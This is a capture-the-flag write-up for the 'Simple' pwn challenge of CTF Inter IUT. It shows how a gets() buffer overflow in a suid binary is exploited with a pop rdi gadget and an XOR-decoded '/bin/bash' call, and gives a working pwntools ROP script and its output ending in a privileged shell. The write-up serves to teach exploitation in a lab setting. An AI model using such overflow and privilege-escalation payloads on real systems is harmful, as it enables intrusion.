CTF Inter IUT - Simple

Simple - 50 points

Introduction

This challenge was the first pwn challenge of the CTF.

Statement:

Récupérez le contenu du fichier flag.txt situé sur le serveur simple.interiut.ctf en ssh avec l'utilisateur chall et le mot de passe chall.


Get the content of the flag.txt file on the server simple.interiut.ctf.

ssh chall@simple.interiut.ctf
password : chall

Author: Masterfox

Getting started

We start by connecting to the server using ssh and we can execute the binary to get a first idea of what it does. It is important to note that the binary has a suid bit set. It means we are probably going to need to exploit the binary to get elevated permissions.

$ ./challenge
AAAAAAAA
$

At the first sight, the binary doesn't do much. So we are going to disassemble it to understand it better how it works. So I will use scp to get the file from the machine.

Let's start by checking the securities on the ELF.

$ checksec --file=challenge
[*] '/home/woody/Documents/CTF/InterIUT/pwn/Simple/challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

We can see it's a 64 bits ELF and that there is no PIE. Also there is no stack canary. Hence, we can assume there will be a buffer overflow vulnerability.

This being said, we can also see that the stack is not executable, which mean we won't be able to jump on a shellcode.

Now, I am going to use IDA Pro which is a great disassembling tool.

Here we can see the decompiled code, that I commented for easier understanding.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t v3; // ebx
  __uid_t v4; // eax
  char v6[48]; // array of 45 chars

  v3 = geteuid(); // effective uid
  v4 = geteuid();
  setreuid(v4, v3); // we set the real uid to the effective ui (suid)
  gets(v6); // gets without any length verification -> buffer overflow 
  return 0;
}

We can also see there are 2 other functions that could be useful.

The heyo function that doesn't look like doing anything at the moment:

void heyo()
{
  ;
}

Hence the shell function that takes an argument and xor it to a value command, then it executes system on that xored value:

int __fastcall shell(char a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 8; ++i )
    command[i] ^= a1;
  return system(command);
}

Let's see what the command variable holds.

.data:0000000000404048 command         db '+fmj+fewl'

The variable command holds '+fmj+fewl' which looks like '/bin/bash' xored.

We now have every thing in hands to solve the challenge.

Exploit

The first step will be finding the value to xor with command to get /bin/bash. I wrote a tiny python script to achieve this task.

from pwn import xor

command = '+fmj+fewl'
binbash = '/bin/bash'

print(xor(command, binbash))

This gives us 0x4

We will now need to xor command with 4 to get '/bin/bash'

We need to look at x86_64 calling convention to understand how to pass arguments to a function. The first (and only here) argument as to be passed through registers, rdi, rsi, rdx, rcx...

So we need to put 4 in rdi.
To do this we are going to use the heyo function. Here is the disassembled code of the function:

push    rbp
mov     rbp, rsp
pop     rdi
retn

There is a pop rdi ! This mean we can put something in rdi so we can set an argument to the shell function !

To overflow the saved instruction pointer of the main function. So our payload will look like:

48 chars of junk + 8 chars (to overwrite rbp) + 8 chars to control rip (next address to jump to).

We are going to put 4 in rdi using heyo then we will call the shell function.

To achieve this easily, I wrote a simple python script.

from pwn import *

r = ssh('chall', 'simple.interiut.ctf', password='chall') 

payload = b'A' * 56 # Junk to fill buffer and rbp
 
payload += p64(0x401156) # heyo -> pop rdi  
payload += p64(0x4) # 4 -> value poped
payload += p64(0x40115B) # shell(4)

sh = r.run('sh')
sh.sendline('./challenge')
sh.sendline(payload)
sh.interactive()

We execute the script

python sol.py 
[+] Connecting to simple.interiut.ctf on port 22: Done
[!] Only Linux is supported for ASLR checks.
[*] chall@simple.interiut.ctf:
    Distro    Unknown Unknown
    OS:       Unknown
    Arch:     Unknown
    Version:  0.0.0
    ASLR:     Disabled
    Note:     Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: 'sh': Done
[*] Switching to interactive mode
$ priv@challenge-simple-5d457bc687-247p2:/challenge$ $ id
uid=666(priv) gid=1000(chall) groups=1000(chall)
priv@challenge-simple-5d457bc687-247p2:/challenge$ $ cat flag.txt
CTFIUT{StUP1de_s7up1DE_5tUpiDe!!}

And we successfuly get an elevated shell as priv ! We can then read the flag.